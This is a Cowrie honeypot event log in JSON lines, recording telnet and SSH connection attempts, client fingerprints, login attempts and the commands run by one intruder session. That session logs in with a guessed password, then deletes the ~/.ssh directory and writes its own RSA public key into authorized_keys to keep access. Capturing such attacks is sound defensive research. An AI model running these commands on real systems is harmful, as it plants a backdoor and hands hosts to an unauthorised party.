{"eventid":"cowrie.session.closed","duration":31.12420630455017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:27.376838Z","src_ip":"50.6.3.16","session":"d0bef9e387b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08042597770691,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:27.712419Z","src_ip":"50.6.3.16","session":"2d23b4e34a12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":46960,"dst_ip":"10.17.0.5","dst_port":23,"session":"00a935153edb","protocol":"telnet","message":"New connection: 50.6.3.16:46960 (10.17.0.5:23) [session: 00a935153edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:28.407976Z"}
{"eventid":"cowrie.session.closed","duration":31.168813705444336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:28.703813Z","src_ip":"50.6.3.16","session":"67a9ef814c31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":46972,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a9bbc08c908","protocol":"telnet","message":"New connection: 50.6.3.16:46972 (10.17.0.5:23) [session: 4a9bbc08c908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:29.102690Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":46974,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eee68c0bc2f","protocol":"telnet","message":"New connection: 50.6.3.16:46974 (10.17.0.5:23) [session: 7eee68c0bc2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:29.276267Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":46976,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f43641d7836","protocol":"telnet","message":"New connection: 50.6.3.16:46976 (10.17.0.5:23) [session: 6f43641d7836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:29.923252Z"}
{"eventid":"cowrie.session.closed","duration":30.90046215057373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:30.931605Z","src_ip":"50.6.3.16","session":"9ca23afbfe3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8922381401062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:31.670378Z","src_ip":"50.6.3.16","session":"3f937928464b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.749746799468994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:31.808271Z","src_ip":"50.6.3.16","session":"c54d3d4f74a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":46962,"dst_ip":"10.17.0.5","dst_port":23,"session":"89e688c96dd3","protocol":"telnet","message":"New connection: 50.6.3.16:46962 (10.17.0.5:23) [session: 89e688c96dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:31.819909Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":46982,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca1212a0884f","protocol":"telnet","message":"New connection: 50.6.3.16:46982 (10.17.0.5:23) [session: ca1212a0884f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:32.158137Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":46988,"dst_ip":"10.17.0.5","dst_port":23,"session":"fccda647153a","protocol":"telnet","message":"New connection: 50.6.3.16:46988 (10.17.0.5:23) [session: fccda647153a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:32.269622Z"}
{"eventid":"cowrie.session.closed","duration":31.09479570388794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:32.688007Z","src_ip":"50.6.3.16","session":"976bc579da03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":46992,"dst_ip":"10.17.0.5","dst_port":23,"session":"52f0d739a3d0","protocol":"telnet","message":"New connection: 50.6.3.16:46992 (10.17.0.5:23) [session: 52f0d739a3d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:32.847009Z"}
{"eventid":"cowrie.session.closed","duration":31.120386600494385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:33.135287Z","src_ip":"50.6.3.16","session":"2f4ef697d557","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0721595287323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:33.157069Z","src_ip":"50.6.3.16","session":"d6f092486a6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.952773094177246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:33.425616Z","src_ip":"50.6.3.16","session":"262607789c77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":46998,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcbb4de080e9","protocol":"telnet","message":"New connection: 50.6.3.16:46998 (10.17.0.5:23) [session: dcbb4de080e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:33.571055Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":47006,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e8dd30ddb3c","protocol":"telnet","message":"New connection: 50.6.3.16:47006 (10.17.0.5:23) [session: 3e8dd30ddb3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:34.569868Z"}
{"eventid":"cowrie.session.closed","duration":30.451947689056396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:34.951068Z","src_ip":"50.6.3.16","session":"94ea200e9060","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":47014,"dst_ip":"10.17.0.5","dst_port":23,"session":"1df070929ee1","protocol":"telnet","message":"New connection: 50.6.3.16:47014 (10.17.0.5:23) [session: 1df070929ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:35.255254Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":47028,"dst_ip":"10.17.0.5","dst_port":23,"session":"63258afb8502","protocol":"telnet","message":"New connection: 50.6.3.16:47028 (10.17.0.5:23) [session: 63258afb8502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:35.911613Z"}
{"eventid":"cowrie.session.closed","duration":31.076009511947632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:37.142007Z","src_ip":"50.6.3.16","session":"5f3c63b4ed38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":47044,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a96eca56d80","protocol":"telnet","message":"New connection: 50.6.3.16:47044 (10.17.0.5:23) [session: 9a96eca56d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:37.358997Z"}
{"eventid":"cowrie.session.closed","duration":31.384573459625244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:37.499318Z","src_ip":"50.6.3.16","session":"8601a2d19b64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":47060,"dst_ip":"10.17.0.5","dst_port":23,"session":"799ac7ac4384","protocol":"telnet","message":"New connection: 50.6.3.16:47060 (10.17.0.5:23) [session: 799ac7ac4384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:37.525531Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":40726,"dst_ip":"10.17.0.5","dst_port":23,"session":"c18e9bab5775","protocol":"telnet","message":"New connection: 50.6.3.16:40726 (10.17.0.5:23) [session: c18e9bab5775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:38.247641Z"}
{"eventid":"cowrie.session.closed","duration":31.174964904785156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:38.353743Z","src_ip":"50.6.3.16","session":"3d2badb2f1bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.622811317443848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:39.507484Z","src_ip":"50.6.3.16","session":"d965d87c123e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":40736,"dst_ip":"10.17.0.5","dst_port":23,"session":"bab6b32812c8","protocol":"telnet","message":"New connection: 50.6.3.16:40736 (10.17.0.5:23) [session: bab6b32812c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:39.549886Z"}
{"eventid":"cowrie.session.closed","duration":31.008249759674072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:40.890492Z","src_ip":"50.6.3.16","session":"98d6c5cca3bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9000346660614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:42.296902Z","src_ip":"50.6.3.16","session":"10c6422457f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":40758,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f946ec42608","protocol":"telnet","message":"New connection: 50.6.3.16:40758 (10.17.0.5:23) [session: 9f946ec42608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:44.127189Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":40774,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab91aa084e3f","protocol":"telnet","message":"New connection: 50.6.3.16:40774 (10.17.0.5:23) [session: ab91aa084e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:44.936715Z"}
{"eventid":"cowrie.session.closed","duration":31.002029180526733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:45.413081Z","src_ip":"50.6.3.16","session":"6c84fed33e38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.506649017333984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:45.998029Z","src_ip":"50.6.3.16","session":"be7ce97ea2d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.067521572113037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:46.031524Z","src_ip":"50.6.3.16","session":"7464e1d3bec8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33353567123413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:47.651517Z","src_ip":"50.6.3.16","session":"5729ac45a4a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":40784,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba253b2c5606","protocol":"telnet","message":"New connection: 50.6.3.16:40784 (10.17.0.5:23) [session: ba253b2c5606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:48.972338Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":33460,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3dc541b9835","protocol":"telnet","message":"New connection: 50.6.3.16:33460 (10.17.0.5:23) [session: a3dc541b9835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:49.382415Z"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":46190,"dst_ip":"10.17.0.5","dst_port":22,"session":"48f7726512f4","protocol":"ssh","message":"New connection: 211.186.79.173:46190 (10.17.0.5:22) [session: 48f7726512f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:51.223100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:51.235849Z","src_ip":"211.186.79.173","session":"48f7726512f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:51.426202Z","src_ip":"211.186.79.173","session":"48f7726512f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.478272676467896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:51.719563Z","src_ip":"50.6.3.16","session":"27f7ac2e0500","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.069579362869263,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:51.793734Z","src_ip":"50.6.3.16","session":"627da84873c4","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"root123","message":"login attempt [oracle/root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:52.227144Z","src_ip":"211.186.79.173","session":"48f7726512f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":33470,"dst_ip":"10.17.0.5","dst_port":23,"session":"585a559ba1ac","protocol":"telnet","message":"New connection: 50.6.3.16:33470 (10.17.0.5:23) [session: 585a559ba1ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:52.441257Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:52.644474Z","src_ip":"211.186.79.173","session":"48f7726512f4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:52.647921Z","src_ip":"211.186.79.173","session":"48f7726512f4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:52.652117Z","src_ip":"211.186.79.173","session":"48f7726512f4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:52.848257Z","src_ip":"211.186.79.173","session":"48f7726512f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":45542,"dst_ip":"10.17.0.5","dst_port":22,"session":"84a0bb8ac6ee","protocol":"ssh","message":"New connection: 187.212.47.18:45542 (10.17.0.5:22) [session: 84a0bb8ac6ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:52.954011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:52.959136Z","src_ip":"187.212.47.18","session":"84a0bb8ac6ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:53.212394Z","src_ip":"187.212.47.18","session":"84a0bb8ac6ee","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:53.251155Z","src_ip":"211.186.79.173","session":"48f7726512f4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:53.253970Z","src_ip":"211.186.79.173","session":"48f7726512f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":33488,"dst_ip":"10.17.0.5","dst_port":23,"session":"9841f938a7a0","protocol":"telnet","message":"New connection: 50.6.3.16:33488 (10.17.0.5:23) [session: 9841f938a7a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:53.333664Z"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:53.447085Z","src_ip":"211.186.79.173","session":"48f7726512f4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:53.451309Z","src_ip":"211.186.79.173","session":"48f7726512f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":33486,"dst_ip":"10.17.0.5","dst_port":23,"session":"84faa1a260a9","protocol":"telnet","message":"New connection: 50.6.3.16:33486 (10.17.0.5:23) [session: 84faa1a260a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:53.457010Z"}
{"eventid":"cowrie.login.failed","username":"test10","password":"123456","message":"login attempt [test10/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:53.536921Z","src_ip":"187.212.47.18","session":"84a0bb8ac6ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":46194,"dst_ip":"10.17.0.5","dst_port":22,"session":"373d29e93e43","protocol":"ssh","message":"New connection: 211.186.79.173:46194 (10.17.0.5:22) [session: 373d29e93e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:53.626546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:38:53.630799Z","src_ip":"211.186.79.173","session":"373d29e93e43","protocol":"ssh"}
